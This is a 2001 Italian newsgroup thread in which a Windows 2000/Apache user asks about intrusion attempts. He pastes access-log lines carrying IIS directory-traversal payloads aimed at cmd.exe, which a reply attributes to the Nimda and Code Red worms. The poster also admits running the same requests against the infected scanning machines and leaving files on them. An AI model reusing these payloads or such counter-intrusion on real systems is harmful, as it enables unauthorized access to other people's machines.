Newsgroup: it.comp.sicurezza.windows
Titolo: win200 e Apache

Sono nuovo di questo NG mi chiamo Roberto.
Ho win2000 sul quale gira un server Apache e una piccola LAN (7 pc)
aziendale.
Premetto che il server apache mi serve solo per l'upload di alcuni file in
automatico sul server web del provider sul quale si trova il mio sito.
Dato che ho una connessione adsl con Telecom, il range di indirizzi IP viene
scannerizzato continuamente e conto un totale di almeno 10/15 tentativi di
intrusione giornalieri.
Apache č configurato molto "chiuso" e ai tentativi fatti tramite http di
/c/winnt/system32/cmd.exe?/c+dir  oppure tftp -i non funzionano.
Perň ho potuto constatare (a scapito di alcuni lamer) che sugli altri
funziona eccome...
C'č qualcuno che sa dirmi che tipo di falla hanno quei sistemi?
PS - Ai tipi non ho fatto nulla se non lasciargli qualche file di testo...
che dite dovrei fare qualcosa di piů?

 che dite dovrei fare qualcosa di piů?
cerca di avvertirli che dovrebbero patchare e sistemare le loro macchine.
E ricorda che loro non sono consapevoli di quello che fanno le loro macchine
senza avvertire...
--
--
           ~~ ICQ#: 8761263 ~~ 
http://www.delymyth.net/
 ~~
            E-Mail Addy: DElyMyth [at] delymyth [dot] net
           => FREE! Hardware Anti-Virus!!! - /dev/brain <=
Chi lavora avvelena anche te, digli di smettere - DElyMyth@work

Cioè mi stai dicendo che la loro macchina in automatico fa questi tentativi?
Ho l'access.log di Apache pieno.
Non mi sembrano francamente tentativi da "macchina" ! sembrano pensati.
Guarda:
62.211.18.61 - - [01/Oct/2001:15:14:38 +0200] "GET /scripts/root.exe?/c+dir
HTTP/1.0" 404 280 "-" "-"
common
62.211.18.61 - - [01/Oct/2001:15:14:40 +0200] "GET /MSADC/root.exe?/c+dir
HTTP/1.0" 404 278 "-" "-"
common
62.211.18.61 - - [01/Oct/2001:15:14:41 +0200] "GET
/c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 288 "-" "-"
common
62.211.18.61 - - [01/Oct/2001:15:14:42 +0200] "GET
/d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 288 "-" "-"
common
62.211.18.61 - - [01/Oct/2001:15:14:44 +0200] "GET
/scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 302 "-" "-"
common
62.211.18.61 - - [01/Oct/2001:15:14:48 +0200] "GET
/_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 319 "-" "-"
common
62.211.18.61 - - [01/Oct/2001:15:14:49 +0200] "GET
/_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 319 "-" "-"
common
62.211.18.61 - - [01/Oct/2001:15:14:50 +0200] "GET
/msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/sy
stem32/cmd.exe?/c+dir HTTP/1.0" 404 335 "-" "-"
common
62.211.18.61 - - [01/Oct/2001:15:14:54 +0200] "GET
/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 301 "-" "-"
common
62.211.18.61 - - [01/Oct/2001:15:14:56 +0200] "GET
/scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 301 "-" "-"
common
come vedi le prova tutte prima di arrendersi.
E' Code Red che è programmato per farlo?
Comunque nonostante win200 abbia il server IIS mi sono guardato bene
dall'usarlo.
Uso Apache perché a casa ho linux.
Ciao e grazie.

 programmato per farlo?
No, Nimda che si appoggia a CodeRed, ma anche questo lo trovi su
internet.
-- 
           ~~ ICQ#: 8761263 ~~ 
http://www.delymyth.net/
 ~~
            E-Mail Addy: DElyMyth [at] delymyth [dot] net
           => FREE! Hardware Anti-Virus!!! - /dev/brain <=
Powered By Slackware 8.0 on Asus L7300G - Kernel 2.4.5 - WindowMaker

Ok, grazie.
Scusa la mia ignoranza ma avendo letto che interessava i server IIS (e
usando invece Apache) non avevo approfondito la questione.
E' solo che fino a 2 giorni addietro per motivi miei, utilizzavo una porta
diversa dalla 80 per l'http e quindi non mi ero proprio reso di quanti
server sono bacati...
Grazie comunque per la risposta.
Roberto